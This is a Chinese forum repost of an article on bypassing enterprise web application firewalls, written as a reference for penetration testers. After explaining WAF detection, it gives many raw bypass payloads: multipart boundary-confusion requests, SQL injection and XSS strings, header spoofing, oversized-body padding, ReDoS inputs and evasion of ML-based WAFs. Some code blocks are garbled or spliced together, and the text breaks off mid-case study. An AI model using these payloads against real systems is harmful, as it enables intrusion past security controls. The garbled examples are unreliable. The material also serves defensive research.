找回密码
 立即注册
首页 业界区 科技 【转载】企业级WAF绕过技术深度研究

【转载】企业级WAF绕过技术深度研究

杠氯 4 小时前

本文转载来源公众号:Zacarx随笔

前言

Web应用防火墙(WAF)作为现代企业Web安全架构的核心组件,在防御SQL注入、XSS、RCE等常见攻击中扮演着关键角色。然而,随着攻防技术的不断演进,针对企业级WAF的绕过技术也在持续发展。本文基于最新的学术研究和实战案例,系统性地梳理了当前主流WAF产品的绕过技术,旨在为安全研究人员和渗透测试工程师提供技术参考。

一、WAF工作原理与检测机制

1.1 WAF架构与部署模式

企业级WAF通常采用以下三种部署模式:

网络型WAF(Network-based)

  • 部署在网络边界,以硬件设备或专用服务器形式存在
  • 保护整个网络内的所有Web应用
  • 典型代表:F5 BIG-IP ASM、Imperva SecureSphere

主机型WAF(Host-based)

  • 部署在Web服务器上,以软件形式运行
  • 仅保护部署节点上的应用
  • 典型代表:ModSecurity、NAXSI

云托管WAF(Cloud-hosted)

  • 作为SaaS服务提供,由第三方管理基础设施
  • 保护任意位置的Web应用
  • 典型代表:Cloudflare、AWS WAF、Azure WAF、Akamai

1.2 核心检测机制

现代WAF采用多层检测机制:

1.2.1 基于签名的检测(Signature-Based Detection)

工作原理:

  • 维护已知攻击模式数据库(字符串或正则表达式)
  • 将请求元素(URL、Headers、Body)与签名库匹配
  • 典型规则集:OWASP CRS(Core Rule Set)

优势:

  • 对已知攻击检测准确率高
  • 处理开销相对较低
  • 误报率低

典型规则示例:

  1. if url_parameter "user_input" contains "UNION SELECT"
  2. then block
复制代码

1.2.2 基于规则的过滤(Rule-Based Filtering)

负向安全模型(Blacklisting):

  • 定义禁止的内容
  • 默认允许所有流量,仅阻止匹配黑名单的请求
  • 易于初始部署,但容易被绕过

正向安全模型(Whitelisting):

  • 定义允许的内容
  • 默认拒绝所有流量,仅允许符合白名单的请求
  • 安全性高,但配置复杂,维护成本高

1.2.3 异常检测(Anomaly Detection)

工作原理:

  • 学习应用正常流量基线
  • 标记偏离基线的异常请求

优势:

  • 可检测0day攻击
  • 自适应应用特性

1.2.4 基于AI/ML的检测

工作原理:

  • 使用机器学习模型(随机森林、SVM、神经网络)
  • 基于海量流量数据训练分类模型
  • 实时对新请求进行分类

优势:

  • 高准确率检测复杂和0day攻击
  • 可持续学习适应

二、主流企业级WAF产品解析

2.1 国外主流WAF产品

  
 
WAF产品厂商部署类型核心规则集市占率
Cloudflare WAF Cloudflare Cloud Managed + OWASP CRS
AWS WAF Amazon Cloud AWS Managed Rules + OWASP CRS
Azure WAF Microsoft Cloud DRS 2.1 (基于 CRS 3.2)
Google Cloud Armor Google Cloud ModSecurity + 自定义规则
F5 BIG-IP ASM F5 Networks Network/Virtual Rapid Deployment Policy
ModSecurity Trustwave/OWASP Host/Network OWASP CRS
Imperva WAF Imperva Cloud/Network/Host ThreatRadar + 自定义
Akamai Kona Akamai Cloud Adaptive Security Engine
Fortinet FortiWeb Fortinet Network/Virtual Extended Protection

2.2 OWASP CRS (Core Rule Set)

OWASP CRS是WAF领域最广泛使用的开源规则集,被大量商业WAF采用作为基础规则。

覆盖的攻击类型:

  • SQL注入(SQLi)
  • 跨站脚本(XSS)
  • 本地文件包含(LFI)
  • 远程文件包含(RFI)
  • 远程代码执行(RCE)
  • PHP注入
  • Session固定
  • HTTP协议违规
  • 恶意扫描器检测

版本演进:

  • CRS 2.x(已停止维护)
  • CRS 3.0~3.2(广泛使用)
  • CRS 3.3+(当前版本)
  • CRS 4.0(Next Generation)

偏执等级(Paranoia Level):

  • PL1:基础防护,误报率低
  • PL2:增强防护
  • PL3:严格防护
  • PL4:最大防护,误报率高

三、解析差异:WAF绕过的核心原理

3.1 HTTP解析差异(Parser Differential)

核心概念:WAF与后端应用对同一HTTP请求的理解不一致,是绕过的根本原因。

产生原因:

  • WAF与应用使用不同的HTTP解析库
  • RFC标准存在模糊性和歧义
  • 实现细节差异
  • 性能与安全的权衡

典型场景:

场景1:Content-Type解析差异

WAF可能仅检查application/x-www-form-urlencoded,而后端同时接受multipart/form-data:

  1. POST /api/search HTTP/1.1
  2. Content-Type: multipart/form-data; boundary=----Boundary
  3. ------Boundary
  4. Content-Disposition: form-data; name="query"
  5. ' UNION SELECT password FROM users--
  6. ------Boundary--
复制代码

90%以上的网站可互换接受这两种Content-Type,但WAF检测规则可能不同步。

为了方便大家理解,大家可以感受下两者差异:

1.png

 

场景2:参数处理差异

  1. GET /search?q=safe&q=malicious
复制代码

不同技术栈对重复参数的处理:

  
 
技术栈处理方式
PHP 使用最后一个值
ASP.NET 用逗号连接所有值
Java Servlet 返回数组
Python Flask 使用第一个值(默认)
Node.js Express 返回数组或字符串

WAF如果仅检查第一个参数而后端使用最后一个,攻击即可绕过。

3.2 归一化不一致(Normalization Inconsistency)

核心问题:WAF在应用检测规则前必须对请求进行归一化(解码、规范化路径等),如果归一化逻辑与后端不一致,会产生绕过。

常见不一致:

URL编码层级:

  1. %253Cscript%253E  (双重URL编码)
  2. ↓ WAF解码一次
  3. %3Cscript%3E
  4. ↓ 后端再解码
  5. "}','$.a')--
复制代码

攻击流程:

  1. 数据库支持JSON函数(PostgreSQL、MySQL、SQLite、MSSQL)
  2. WAF规则未涵盖JSON语法
  3. 恶意SQL隐藏在JSON函数调用中
  4. 绕过检测,攻击成功执行

4.4.2 Multipart/Form-Data解析差异

根据WAFFLED研究,multipart content-type存在大量解析差异攻击面。

Boundary参数延续:

RFC 2231允许通过多个参数表示单个参数值:

  1. Content-Type: multipart/form-data;
  2.   boundary=fake-boundary;
  3.   boundary*0=real-;
  4.   boundary*1=boundary
复制代码

WAF取第一个boundary(fake-boundary), 后端拼接为real-boundary,导致解析差异。

完整攻击载荷:

  1. POST /upload HTTP/1.1
  2. Content-Type: multipart/form-data;
  3.   boundary=fake-boundary;
  4.   boundary*0=real-;
  5.   boundary*1=boundary
  6. --fake-boundary
  7. Content-Disposition: form-data; name="field1"
  8. safe_value
  9. --fake-boundary--
  10. --real-boundary
  11. Content-Disposition: form-data; name="id"
  12. --real-boundary--
复制代码

WAF检查fake-boundary之间的内容(安全), 后端解析real-boundary之间的内容(恶意)。

其他Multipart绕过类别:

Boundary分隔符操作:

  1. \r\n--boundary  (移除\r\n)
复制代码

Content-Disposition破坏:

  1. content-disposition: form-da\x00a; name="file"
复制代码

畸形头部注入:

  1. conten\x00-extra: something
  2. Content-Type: text/plain\x00
复制代码

字符集变更:

  1. Content-Type: text/plain; charset=\x00UTF-8
复制代码

换行符移除:

  1. Content-Type: multipart/form-data; boundary=test\r\n\r\n
  2. (紧接body,无空行)
复制代码

4.4.3 XML外部实体注入绕过

Extra Field Addition:

  1. <?xml version="1.0"?>
  2. <root>
  3.   <field1>value1</field1>
  4.   <field2 attr="bypass">XXE_PAYLOAD</field2>
  5. </root>
复制代码

DOCTYPE Closure Confusion:

  1. <!DOCTYPE root [...]>
  2. <field1>XXE</field1>]
  3. </root>
复制代码

Schema操作:

  1. <genre:schema>
  2.   <field1>XXE_PAYLOAD</field1>invalid_char
  3. </genre:schema>
复制代码

Content-Type头移除:

  1. POST /api HTTP/1.1
  2. Host: target.com
  3. (无Content-Type头,或修改为其他值)
  4. <?xml>...</xml>
复制代码

4.5 协议层绕过策略

4.5.1 HTTP方法利用

WAF规则可能仅覆盖GET/POST,使用其他方法绕过:

  1. HEAD /api?id=' OR 1=1-- HTTP/1.1
  2. OPTIONS /api?id=' OR 1=1-- HTTP/1.1
  3. PUT /api?id=' OR 1=1-- HTTP/1.1
  4. DELETE /api?id=' OR 1=1-- HTTP/1.1
  5. PATCH /api?id=' OR 1=1-- HTTP/1.1
  6. TRACE /api?id=' OR 1=1-- HTTP/1.1
复制代码

自定义HTTP方法:

  1. CUSTOM /api?id=' OR 1=1-- HTTP/1.1
复制代码

4.5.2 头部操纵

X-Forwarded-For欺骗:

  1. X-Forwarded-For: 127.0.0.1
  2. X-Real-IP: 127.0.0.1
  3. X-Client-IP: 127.0.0.1
  4. True-Client-IP: 127.0.0.1
  5. Forwarded: for=127.0.0.1
  6. CF-Connecting-IP: 127.0.0.1
复制代码

WAF信任这些头部,认为请求来自内网,放行。

HTTP方法覆盖:

  1. POST /api HTTP/1.1
  2. X-HTTP-Method-Override: DELETE
  3. X-Method-Override: PUT
复制代码

URL重写:

  1. X-Original-URL: /admin
  2. X-Rewrite-URL: /admin
  3. X-Override-URL: /admin
复制代码

绕过路径基础的访问控制。

国家代码欺骗:

  1. CF-IPCountry: US
  2. CloudFront-Viewer-Country: US
  3. X-GeoIP-CC: US
复制代码

4.5.3 HTTP版本差异

HTTP/1.0 vs HTTP/1.1:

  • HTTP/1.0缺少Host头部必选要求
  • HTTP/1.1更严格的规范解析

HTTP/2特性利用:

  • 头部压缩(HPACK)
  • 服务器推送
  • 请求优先级

老旧WAF可能不完全支持HTTP/2检测。

4.5.4 WebSocket协议绕过

WebSocket升级后,通信切换到ws://或wss://协议,传统HTTP WAF规则不再适用:

  1. GET /chat HTTP/1.1
  2. Host: target.com
  3. Upgrade: websocket
  4. Connection: Upgrade
  5. Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
  6. Sec-WebSocket-Version: 13
复制代码

升级成功后,通过WebSocket发送攻击载荷:

  1. ws.send("' OR 1=1--")
复制代码

4.6 资源耗尽与时序攻击

4.6.1 超大载荷绕过

原理:WAF通常有请求体检测上限,超过限制的部分不被检查。

Cloudflare限制:

  • 131,072字节(128 KiB)限制
  • 超过此大小的请求体不被完整检查

攻击载荷:

  1. POST /api HTTP/1.1
  2. Content-Length: 131073
  3. [130000字节垃圾数据]
  4. [剩余数据]
复制代码

其他WAF限制:

  • AWS WAF: 8KB请求体检测限制
  • Azure WAF: 128KB限制
  • F5 BIG-IP: 可配置,默认10MB

工具:Burp Suite的"WAF Bypadd"扩展可自动添加填充数据。

4.6.2 正则表达式拒绝服务(ReDoS)

原理:精心构造的输入触发WAF正则表达式引擎的灾难性回溯。

易受攻击的正则:

  1. ^(a+)+$
  2. ^([a-zA-Z]+)*$
  3. (a|a)*
  4. (a|ab)*
复制代码

攻击输入:

  1. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
复制代码

引擎尝试所有可能的匹配组合,CPU占用暴增,导致:

  • WAF响应超时
  • WAF降级为Fail-Open(允许所有流量)
  • WAF崩溃

4.6.3 速率限制规避

慢速攻击:

  • 保持在速率限制阈值以下
  • 分散多个IP地址
  • 使用代理链/VPN

时序绕过:如WAF有单请求处理超时(如5秒),构造复杂请求使处理超时,请求被放行。

4.7 逻辑缺陷与规则绕过

4.7.1 大小写敏感性

错误假设:WAF规则假设大小写敏感,攻击者利用大小写变换:

  1. SeLeCt * FrOm users
  2. UNION SELECT
  3. UnIoN SeLeCt
复制代码
  1. [/code]
  2. <h4>4.7.2 注释插入</h4>
  3. <p><strong>SQL注释:</strong></p>
  4. [code]SEL/**/ECT
  5. SE/*comment*/LECT
  6. UNION/**/SELECT
  7. UNI/*bypass*/ON/*waf*/SELECT
复制代码

HTML注释:

  1. ipt>
复制代码

4.7.3 空字节注入

路径截断:

  1. /path/to/file%00.jpg
复制代码

WAF检查扩展名为.jpg(安全), 后端C函数在%00处截断,实际读取/path/to/file

字符串终止:

  1. admin'%00 OR 1=1--
复制代码

4.7.4 字符集替代

IP地址表示:

  1. 127.0.0.1 (十进制)
  2. 0177.0.0.1 (八进制)
  3. 0x7F000001 (十六进制)
  4. 2130706433 (DWORD)
复制代码

科学计数法:

  1. WHERE id = 1e0  (等同于 1)
复制代码

4.7.5 正则绕过技巧

未锚定的正则:

  1. /union\sselect/  (缺少^和$)
复制代码

绕过:

  1. aaaunion selectbbb  (匹配,但无效SQL)
复制代码

更好的正则应为:

  1. /\bunion\s+select\b/i
复制代码

嵌套标签绕过:

  1. <scr
复制代码

WAF规则替换
[/code]

4.7.6 上下文混淆

SQL in JSON:

  1. {"query": "' OR 1=1--"}
复制代码

WAF可能仅按JSON解析,未识别SQL注入上下文。

JavaScript in HTML属性:

  1. <img src=x onerror="eval(atob('YWxlcnQoMSk='))">
复制代码

Base64编码绕过XSS规则。

4.8 针对AI/ML-based WAF的对抗技术

4.8.1 逃避攻击(Evasion Attacks)

原理:对恶意载荷进行微小扰动,使其跨越ML模型的决策边界,被误分类为良性。

梯度基础方法(白盒):

  • FGSM (Fast Gradient Sign Method)
  • PGD (Projected Gradient Descent)
  • C&W Attack

查询基础方法(黑盒):

  • 通过大量查询学习模型行为
  • 迭代调整载荷直到绕过

实例:

原始阻断:

  1. eval(atob('YWxlcnQoMSk='))
复制代码

扰动后绕过:

  1. new Function('a'+'lert(1)')()
复制代码

4.8.2 模型推断攻击

目标:通过观察WAF响应,推断ML模型的内部逻辑。

方法:

  1. 发送大量不同载荷
  2. 记录阻断/允许响应
  3. 训练代理模型模拟WAF行为
  4. 针对代理模型设计绕过
  5. 在真实WAF测试

防御难点:

  • 高查询成本
  • 需要精确模拟
  • 可能被速率限制阻止

4.8.3 对抗样本生成

示例(open-appsec):

基础载荷:

  1. alert(1)
复制代码

被阻断后,快速变换:

  1. confirm(1)  // 立即绕过
复制代码

继续适应:

  1. prompt(1)
  2. new Function('alert(1)')()
复制代码

ML模型需要重新训练才能覆盖新变种,但黑客可持续生成新变种。

五、真实案例分析

案例1:Cloudflare WAF - Onbeforetoggle事件绕过

目标: 媒体网站,CloudFront保护

发现过程:

  1. 探测HTML标签,发现

相关推荐

您需要登录后才可以回帖 登录 | 立即注册